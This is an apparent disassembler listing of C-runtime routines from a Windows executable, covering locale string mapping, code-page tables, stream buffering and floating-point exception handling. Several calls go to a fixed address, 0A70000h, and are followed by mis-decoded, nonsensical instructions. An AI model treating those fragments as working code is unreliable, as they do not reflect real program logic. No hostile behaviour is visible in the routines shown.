loc_417F92:				; CODE XREF: sub_417E8C+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_417FCC
; ---------------------------------------------------------------------------


loc_417F98:				; CODE XREF: sub_417E8C+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_417DF2
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_417FBF
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_417FBF
		test	ch, 4
		jz	short loc_417FC2


loc_417FBF:				; CODE XREF: sub_417E8C+124j
					; sub_417E8C+12Cj
		mov	eax, [edi+18h]


loc_417FC2:				; CODE XREF: sub_417E8C+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_417FCC:				; CODE XREF: sub_417E8C+10Aj
		jz	short loc_417FD1
		inc	[ebp+arg_0]


loc_417FD1:				; CODE XREF: sub_417E8C+D9j
					; sub_417E8C:loc_417FCCj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_417FD7:				; CODE XREF: sub_417E8C+A4j
					; sub_417E8C+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_417FDF:				; CODE XREF: sub_417E8C+3Cj
					; sub_417E8C+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E8C	endp

; ---------------------------------------------------------------------------


loc_417FE4:				; CODE XREF: sub_413477+A3p
					; sub_416B11+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D870
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_46100C, edi
		jnz	short loc_41805A
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41D868
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_41D184	; LCMapStringW
		test	eax, eax
		jz	short loc_418038
		mov	ds:dword_46100C, ebx
		jmp	short loc_41805A
; ---------------------------------------------------------------------------


loc_418038:				; CODE XREF: seg000:0041802Ej
		push	edi
		push	edi
		push	ebx
		push	offset dword_430ACC
		push	esi
		push	edi
		call	near ptr 0A70000h
		fld	dword ptr [ebp+22840FC0h]
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_46100C
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_41805A:				; CODE XREF: seg000:00418012j
					; seg000:00418036j
		cmp	[ebp+14h], edi
		jle	short loc_41806F
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_41BDD5
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_41806F:				; CODE XREF: seg000:0041805Dj
		mov	eax, ds:dword_46100C
		cmp	eax, 2
		jnz	short loc_418096
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0A70000h
		xchg	ebp, ecx
		fiadd	word ptr [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_418096:				; CODE XREF: seg000:00418077j
		cmp	eax, 1
		jnz	loc_418172
		cmp	[ebp+20h], edi
		jnz	short loc_4180AC
		mov	eax, ds:dword_461028
		mov	[ebp+20h], eax


loc_4180AC:				; CODE XREF: seg000:004180A2j
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_41D12C	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_418172
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_412030
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_418107
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_418107:				; CODE XREF: seg000:004180F2j
		cmp	[ebp-24h], edi
		jz	short loc_418172
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_41D12C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_418172
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41D184	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_418172
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_418186
		cmp	[ebp+1Ch], edi
		jz	loc_418201
		cmp	esi, [ebp+1Ch]
		jg	short loc_418172
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41D184	; LCMapStringW
		test	eax, eax
		jnz	loc_418201


loc_418172:				; CODE XREF: seg000:00418099j
					; seg000:004180D0j ...
		xor	eax, eax


loc_418174:				; CODE XREF: seg000:00418203j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418186:				; CODE XREF: seg000:00418144j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_412030
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4181BA
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_4181BA:				; CODE XREF: seg000:004181A6j
		cmp	ebx, edi
		jz	short loc_418172
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41D184	; LCMapStringW
		test	eax, eax
		jz	short loc_418172
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_4181E1
		push	edi
		push	edi
		jmp	short loc_4181E7
; ---------------------------------------------------------------------------


loc_4181E1:				; CODE XREF: seg000:004181DBj
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_4181E7:				; CODE XREF: seg000:004181DFj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_41D128	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_418172


loc_418201:				; CODE XREF: seg000:00418149j
					; seg000:0041816Cj
		mov	eax, esi
		jmp	loc_418174
; ---------------------------------------------------------------------------


loc_418208:				; CODE XREF: sub_4185CC+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4183A1
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_4623A4
		mov	[ebp+8], esi
		jz	loc_418395
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41838B
		xor	edx, edx
		mov	eax, offset dword_42FBF0


loc_41823C:				; CODE XREF: seg000:00418249j
		cmp	[eax], esi
		jz	short loc_4182B2
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_42FCE0
		jl	short loc_41823C
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0A70000h
		and	[ebx-7AF0FE08h], eax
		and	al, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
		inc	eax
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4624C0
		cmp	dword ptr [ebp-18h], 1
		mov	ds:dword_4623A4, esi
		rep stosd
		stosb
		mov	ds:dword_4625C4, ebx
		jbe	loc_418371
		cmp	byte ptr [ebp-12h], 0
		jz	loc_418347
		lea	ecx, [ebp-11h]


loc_41828F:				; CODE XREF: seg000:00418341j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_418347
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4182A0:				; CODE XREF: seg000:004182B0j
		cmp	eax, edx
		ja	loc_41833B
		or	ds:byte_4624C1[eax], 4
		inc	eax
		jmp	short loc_4182A0
; ---------------------------------------------------------------------------


loc_4182B2:				; CODE XREF: seg000:0041823Ej
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4624C0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_42FC00[esi]


loc_4182CE:				; CODE XREF: seg000:0041830Bj
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_418301


loc_4182D5:				; CODE XREF: seg000:004182FFj
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_418301
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_4182FA
		mov	edx, [ebp-4]
		mov	dl, ds:byte_42FBE8[edx]


loc_4182EF:				; CODE XREF: seg000:004182F8j
		or	ds:byte_4624C1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_4182EF


loc_4182FA:				; CODE XREF: seg000:004182E4j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_4182D5


loc_418301:				; CODE XREF: seg000:004182D3j
					; seg000:004182DAj
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_4182CE
		mov	eax, [ebp+8]
		mov	ds:dword_4623BC, 1
		push	eax
		mov	ds:dword_4623A4, eax
		call	sub_4183EB
		lea	esi, dword_42FBF4[esi]
		mov	edi, offset dword_4623B0
		movsd
		movsd
		pop	ecx
		mov	ds:dword_4625C4, eax
		movsd
		jmp	short loc_418390
; ---------------------------------------------------------------------------


loc_41833B:				; CODE XREF: seg000:004182A2j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41828F	; CODE XREF: sub_4183A1+1Fj


loc_418347:				; CODE XREF: seg000:00418286j
					; seg000:00418293j
		push	1
		pop	eax


loc_41834A:				; CODE XREF: seg000:00418357j
		or	ds:byte_4624C1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41834A
		push	esi
		call	sub_4183EB
		pop	ecx
		mov	ds:dword_4625C4, eax
		mov	ds:dword_4623BC, 1
		jmp	short loc_418377
; ---------------------------------------------------------------------------


loc_418371:				; CODE XREF: seg000:0041827Cj
		mov	ds:dword_4623BC, ebx


loc_418377:				; CODE XREF: seg000:0041836Fj
		xor	eax, eax
		mov	edi, offset dword_4623B0
		stosd
		stosd
		stosd
		jmp	short loc_418390
; ---------------------------------------------------------------------------
		cmp	ds:dword_461030, ebx
		jz	short loc_418399


loc_41838B:				; CODE XREF: seg000:0041822Fj
		call	sub_41841E


loc_418390:				; CODE XREF: seg000:00418339j
					; seg000:00418381j
		call	sub_418447


loc_418395:				; CODE XREF: seg000:00418225j
		xor	eax, eax
		jmp	short loc_41839C
; ---------------------------------------------------------------------------


loc_418399:				; CODE XREF: seg000:00418389j
		or	eax, 0FFFFFFFFh


loc_41839C:				; CODE XREF: seg000:00418397j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4183A1	proc near		; CODE XREF: seg000:00418214p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_461030, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_4183C0+1
		mov	ds:dword_461030, 1
		call	near ptr 0A70000h


loc_4183C0:				; CODE XREF: sub_4183A1+Ej
		jb	short near ptr loc_418341+4
		clc
		std
		jnz	short near ptr loc_4183D5+1
		mov	ds:dword_461030, 1
		call	near ptr 0A70000h


loc_4183D5:				; CODE XREF: sub_4183A1+23j
		rol	dword ptr [ebx+0F75FCF8h], 1
		mov	eax, ds:dword_461028
		mov	ds:dword_461030, 1
		retn
sub_4183A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183EB	proc near		; CODE XREF: seg000:00418320p
					; seg000:0041835Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_418418
		sub	eax, 4
		jz	short loc_418412
		sub	eax, 0Dh
		jz	short loc_41840C
		dec	eax
		jz	short loc_418406
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418406:				; CODE XREF: sub_4183EB+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41840C:				; CODE XREF: sub_4183EB+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_418412:				; CODE XREF: sub_4183EB+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_418418:				; CODE XREF: sub_4183EB+9j
		mov	eax, 411h
		retn
sub_4183EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41841E	proc near		; CODE XREF: seg000:loc_41838Bp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4624C0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4623B0
		mov	ds:dword_4623A4, eax
		mov	ds:dword_4623BC, eax
		mov	ds:dword_4625C4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41841E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418447	proc near		; CODE XREF: seg000:loc_418390p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_4623A4
		call	near ptr 0A70000h
		pop	ebx
		cmp	eax, 1
		jnz	loc_418580
		xor	eax, eax
		mov	esi, 100h


loc_418471:				; CODE XREF: sub_418447+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_418471
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_4184C2
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_418490:				; CODE XREF: sub_418447+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4184B7
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4184B7:				; CODE XREF: sub_418447+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_418490
		pop	edi
		pop	ebx


loc_4184C2:				; CODE XREF: sub_418447+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_4625C4
		push	ds:dword_4623A4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	loc_419508
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_4623A4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_4625C4
		call	loc_417FE4
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_4623A4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_4625C4
		call	loc_417FE4
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41853D:				; CODE XREF: sub_418447+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41855B
		or	ds:byte_4624C1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_418553:				; CODE XREF: sub_418447+127j
		mov	ds:byte_4623C0[eax], dl
		jmp	short loc_418577
; ---------------------------------------------------------------------------


loc_41855B:				; CODE XREF: sub_418447+FCj
		test	dl, 2
		jz	short loc_418570
		or	ds:byte_4624C1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_418553
; ---------------------------------------------------------------------------


loc_418570:				; CODE XREF: sub_418447+117j
		and	ds:byte_4623C0[eax], 0


loc_418577:				; CODE XREF: sub_418447+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41853D
		jmp	short loc_4185C9
; ---------------------------------------------------------------------------


loc_418580:				; CODE XREF: sub_418447+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_418587:				; CODE XREF: sub_418447+180j
		cmp	eax, 41h
		jb	short loc_4185A5
		cmp	eax, 5Ah
		ja	short loc_4185A5
		or	ds:byte_4624C1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41859D:				; CODE XREF: sub_418447+174j
		mov	ds:byte_4623C0[eax], cl
		jmp	short loc_4185C4
; ---------------------------------------------------------------------------


loc_4185A5:				; CODE XREF: sub_418447+143j
					; sub_418447+148j
		cmp	eax, 61h
		jb	short loc_4185BD
		cmp	eax, 7Ah
		ja	short loc_4185BD
		or	ds:byte_4624C1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41859D
; ---------------------------------------------------------------------------


loc_4185BD:				; CODE XREF: sub_418447+161j
					; sub_418447+166j
		and	ds:byte_4623C0[eax], 0


loc_4185C4:				; CODE XREF: sub_418447+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_418587


loc_4185C9:				; CODE XREF: sub_418447+137j
		pop	esi
		leave
		retn
sub_418447	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185CC	proc near		; CODE XREF: seg000:00418930p
					; sub_41897F+Dp ...
		cmp	ds:dword_4625EC, 0
		jnz	short locret_4185E7
		push	0FFFFFFFDh
		call	loc_418208
		pop	ecx
		mov	ds:dword_4625EC, 1

locret_4185E7:				; CODE XREF: sub_4185CC+7j
		retn
sub_4185CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185E8	proc near		; CODE XREF: sub_413638+2Bp
					; sub_413638+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4623BC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41860C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_413150
		add	esp, 0Ch
		jmp	short loc_41866F
; ---------------------------------------------------------------------------


loc_41860C:				; CODE XREF: sub_4185E8+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_418651
		mov	ecx, [ebp+arg_4]


loc_418617:				; CODE XREF: sub_4185E8+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_4624C1[esi], 4
		mov	[edi], al
		jz	short loc_41863B
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_418647
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41864D
		jmp	short loc_418641
; ---------------------------------------------------------------------------


loc_41863B:				; CODE XREF: sub_4185E8+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_418651


loc_418641:				; CODE XREF: sub_4185E8+51j
		test	edx, edx
		jnz	short loc_418617
		jmp	short loc_418651
; ---------------------------------------------------------------------------


loc_418647:				; CODE XREF: sub_4185E8+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_418651
; ---------------------------------------------------------------------------


loc_41864D:				; CODE XREF: sub_4185E8+4Fj
		and	byte ptr [edi-2], 0


loc_418651:				; CODE XREF: sub_4185E8+2Aj
					; sub_4185E8+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41866C
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41866C:				; CODE XREF: sub_4185E8+6Fj
		mov	eax, [ebp+arg_0]


loc_41866F:				; CODE XREF: sub_4185E8+22j
		pop	edi
		pop	ebp
		retn
sub_4185E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418672	proc near		; CODE XREF: sub_4138EF+16p
					; sub_413B43+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_460F90, ecx
		mov	eax, offset dword_42FCE0


loc_418683:				; CODE XREF: sub_418672+1Ej
		cmp	ecx, [eax]
		jz	short loc_4186A7
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_42FE48
		jl	short loc_418683
		cmp	ecx, 13h
		jb	short loc_4186B4
		cmp	ecx, 24h
		ja	short loc_4186B4
		mov	ds:dword_460F8C, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4186A7:				; CODE XREF: sub_418672+13j
		mov	eax, ds:dword_42FCE4[edx*8]
		mov	ds:dword_460F8C, eax
		retn
; ---------------------------------------------------------------------------


loc_4186B4:				; CODE XREF: sub_418672+23j
					; sub_418672+28j
		cmp	ecx, 0BCh
		jb	short loc_4186CE
		cmp	ecx, 0CAh
		mov	ds:dword_460F8C, 8
		jbe	short locret_4186D8


loc_4186CE:				; CODE XREF: sub_418672+48j
		mov	ds:dword_460F8C, 16h

locret_4186D8:				; CODE XREF: sub_418672+5Aj
		retn
sub_418672	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186D9	proc near		; CODE XREF: sub_413B6D+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4193C1
		test	eax, eax
		pop	ecx
		jz	short loc_418762
		cmp	esi, offset dword_42FF88
		jnz	short loc_4186F7
		xor	eax, eax
		jmp	short loc_418702
; ---------------------------------------------------------------------------


loc_4186F7:				; CODE XREF: sub_4186D9+18j
		cmp	esi, offset dword_42FFA8
		jnz	short loc_418762
		push	1
		pop	eax


loc_418702:				; CODE XREF: sub_4186D9+1Cj
		inc	ds:dword_46114C
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_418762
		cmp	ds:dword_461034[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:461034h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418748
		push	ebx
		call	sub_41205F
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418748
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418755
; ---------------------------------------------------------------------------


loc_418748:				; CODE XREF: sub_4186D9+4Dj
					; sub_4186D9+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418755:				; CODE XREF: sub_4186D9+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_4186D9+10j
					; sub_4186D9+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4186D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_418766	proc near		; CODE XREF: sub_413B6D+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_418790
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_4187A1
		push	esi
		call	sub_417869
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418790:				; CODE XREF: sub_418766+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_4187A1
		push	eax
		call	sub_417869
		pop	ecx


loc_4187A1:				; CODE XREF: sub_418766+10j
					; sub_418766+32j
		pop	esi
		retn
sub_418766	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4188E4
		test	eax, eax
		pop	ecx
		jz	loc_4188D8
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_4188D8
		cmp	ebx, 5
		jnz	short loc_4187D4
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_4188E1
; ---------------------------------------------------------------------------


loc_4187D4:				; CODE XREF: seg000:004187C6j
		cmp	ebx, 1
		jz	loc_4188D3
		mov	ecx, ds:dword_46103C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_46103C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_4188C3
		mov	ecx, ds:dword_42FEC0
		mov	edx, ds:dword_42FEC4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_418823
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:42FE50h[esi*4]


loc_41881A:				; CODE XREF: seg000:00418821j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41881A


loc_418823:				; CODE XREF: seg000:0041880Cj
		mov	eax, [eax]
		mov	esi, ds:dword_42FECC
		cmp	eax, 0C000008Eh
		jnz	short loc_41883E
		mov	ds:dword_42FECC, 83h
		jmp	short loc_4188AE
; ---------------------------------------------------------------------------


loc_41883E:				; CODE XREF: seg000:00418830j
		cmp	eax, 0C0000090h
		jnz	short loc_418851
		mov	ds:dword_42FECC, 81h
		jmp	short loc_4188AE
; ---------------------------------------------------------------------------


loc_418851:				; CODE XREF: seg000:00418843j
		cmp	eax, 0C0000091h
		jnz	short loc_418864
		mov	ds:dword_42FECC, 84h
		jmp	short loc_4188AE
; ---------------------------------------------------------------------------


loc_418864:				; CODE XREF: seg000:00418856j
		cmp	eax, 0C0000093h
		jnz	short loc_418877
		mov	ds:dword_42FECC, 85h
		jmp	short loc_4188AE
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: seg000:00418869j
		cmp	eax, 0C000008Dh
		jnz	short loc_41888A
		mov	ds:dword_42FECC, 82h
		jmp	short loc_4188AE
; ---------------------------------------------------------------------------


loc_41888A:				; CODE XREF: seg000:0041887Cj
		cmp	eax, 0C000008Fh
		jnz	short loc_41889D
		mov	ds:dword_42FECC, 86h
		jmp	short loc_4188AE
; ---------------------------------------------------------------------------


loc_41889D:				; CODE XREF: seg000:0041888Fj
		cmp	eax, 0C0000092h
		jnz	short loc_4188AE
		mov	ds:dword_42FECC, 8Ah


loc_4188AE:				; CODE XREF: seg000:0041883Cj
					; seg000:0041884Fj ...
		push	ds:dword_42FECC
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_42FECC, esi
		pop	ecx
		pop	esi
		jmp	short loc_4188CB
; ---------------------------------------------------------------------------


loc_4188C3:				; CODE XREF: seg000:004187F5j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_4188CB:				; CODE XREF: seg000:004188C1j
		mov	eax, [ebp+8]
		mov	ds:dword_46103C, eax


loc_4188D3:				; CODE XREF: seg000:004187D7j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4188E1
; ---------------------------------------------------------------------------


loc_4188D8:				; CODE XREF: seg000:004187B2j
					; seg000:004187BDj
		push	dword ptr [ebp+0Ch]
		call	ds:dword_41D194	; UnhandledExceptionFilter


loc_4188E1:				; CODE XREF: seg000:004187CFj
					; seg000:004188D6j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4188E4	proc near		; CODE XREF: seg000:004187AAp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42FEC8
		cmp	ds:dword_42FE48, edx
		push	esi
		mov	eax, offset dword_42FE48
		jz	short loc_418911
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42FE48h[esi*4]


loc_418906:				; CODE XREF: sub_4188E4+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_418911
		cmp	[eax], edx
		jnz	short loc_418906


loc_418911:				; CODE XREF: sub_4188E4+16j
					; sub_4188E4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42FE48h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_418924
		cmp	[eax], edx
		jz	short locret_418926


loc_418924:				; CODE XREF: sub_4188E4+3Aj
		xor	eax, eax

locret_418926:				; CODE XREF: sub_4188E4+3Ej
		retn
sub_4188E4	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_4625EC, 0
		jnz	short loc_418935
		call	sub_4185CC


loc_418935:				; CODE XREF: seg000:0041892Ej
		push	esi
		mov	esi, ds:dword_4625E4
